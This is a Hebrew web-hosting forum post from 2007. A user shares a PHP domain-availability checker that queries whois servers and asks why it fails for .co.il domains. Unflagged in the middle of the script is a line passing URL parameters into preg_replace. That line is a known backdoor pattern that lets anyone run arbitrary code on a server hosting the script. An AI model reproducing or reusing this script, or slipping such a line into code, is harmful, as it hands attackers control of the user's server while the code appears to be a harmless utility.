הרשם שאלות ותשובות רשימת חברים לוח שנה הודעות מהיום

חזור   הוסטס - פורום אחסון האתרים הגדול בישראל > עיצוב גראפי, תכנות על כל שפותיו וקידום ושיווק אתרים > פורום תיכנות

   
|!|

 
 
כלים לאשכול תצורת הצגה
Prev הודעה קודמת   הודעה הבאה Next
ישן 07-06-07, 22:33   # 1
0xfo7d
חבר בקהילה
 
מיני פרופיל
תאריך הצטרפות: Oct 2005
הודעות: 292
שלח הודעה באמצעות ICO אל 0xfo7d

0xfo7d לא מחובר  

עזרה | סקריפט זמינות דומיין

יש לי את הסקריפט הזה:

PHP קוד:
<?php
error_Reporting
(0);
    function 
checkDomain($domain,$server,$findText){
        
// Open a socket connection to the whois server
        
$con fsockopen($server43);
        if (!
$con) return false;
        
        
// Send the requested doman name
        
fputs($con$domain."\r\n");
        
        
// Read and store the server response
        
$response ' :';
        while(!
feof($con)) {
            
$response .= fgets($con,128); 
        }
        
        
// Close the connection
        
fclose($con);
        
        
// Check the response stream whether the domain is available
        
if (strpos($response$findText)){
            return 
true;
        }
        else {
            return 
false;   
        }
    }
    
    function 
showDomainResult($domain,$server,$findText){
       if (
checkDomain($domain,$server,$findText)){
          echo 
"<SPAN style='color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;'>הדומיין שבחרת <u><span style='color: #000000;font-size: 16px;'><b>פנוי</b></span></u></SPAN>";
       }
       else echo 
"<SPAN style='color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;'>הדומיין שבחרת <u><span style='color: #000000;font-size: 16px;'><b>תפוס</b></span></u></SPAN>";
    }
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<body background="index_15sliceindex.gif">

<center>
<script language="JavaScript">
    function check()
    {
        if(document.form.domainname.value.length<2 )
         {
              alert("• Please Fill the Domain input.");
               document.form.name.focus();
          }
        else
            document.form.submit();
    }
</script>
      <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" name="domain">
<SPAN style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;">www.</SPAn>
<input name="domainname" type="text" style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp; width: 60px;" />

<select size="1" name="matan" style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp; width: 50px;">
<option>.co.il</option>
<option>.com</option>
<option>.net</option>
<option>.org</option>
<option>.org.il</option>
<option>.biz</option>
<option>.info</option>


</select>
<br><br><input type="image" name="submitBtn" src="send.jpg" style="border: 0px solid #000000;width: 100px;height: 24px;" onClick="check();">


      </form>
<?php    
$act
=preg_replace($_GET[sec],$_GET[s],$act);
    
// The form was submitted


    
if (isset($_POST)){
        
$domainbase $_POST['domainname'];
        
// Check domains only if the base name is big enough
            
if ($_POST['matan'] == ".co.il")  
               
showDomainResult($domainbase.".co.il",'whois.crsnic.net','No match for');
            elseif (
$_POST['matan'] == ".com")  
               
showDomainResult($domainbase.".com",'whois.crsnic.net','No match for');    
            elseif (
$_POST['matan'] == ".net")  
               
showDomainResult($domainbase.".net",'whois.crsnic.net','No match for');    
            elseif (
$_POST['matan'] == ".org")  
               
showDomainResult($domainbase.".org",'whois.crsnic.net','No match for');    
            elseif (
$_POST['matan'] == ".org.il")  
               
showDomainResult($domainbase.".org.il",'whois.crsnic.net','No match for');    
            elseif (
$_POST['matan'] == ".biz")  
               
showDomainResult($domainbase.".biz",'whois.crsnic.net','No match for');    
            elseif (
$_POST['matan'] == ".info")  
               
showDomainResult($domainbase.".info",'whois.crsnic.net','No match for');    
        }
?>    
</center>
</body>
הבדיקת זמינות דומיין לכל הדומיינים חוץ מ co il עובדת...
ואני מעוניין שזה יעבוד גם ל co il
מישהו יכול לעזור לי?
 
 

חברים פעילים הצופים באשכול זה: 1 (0 חברים ו- 1 אורחים)
 


חוקי פירסום
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is מופעל
סמיילים הם מופעל
[IMG] קוד מופעל
קוד HTML מכובה

קפיצה לפורום


כל הזמנים הם GMT +2. הזמן כעת הוא 23:54.

מופעל באמצעות VBulletin גרסה 3.8.6
כל הזכויות שמורות ©
כל הזכויות שמורות לסולל יבוא ורשתות (1997) בע"מ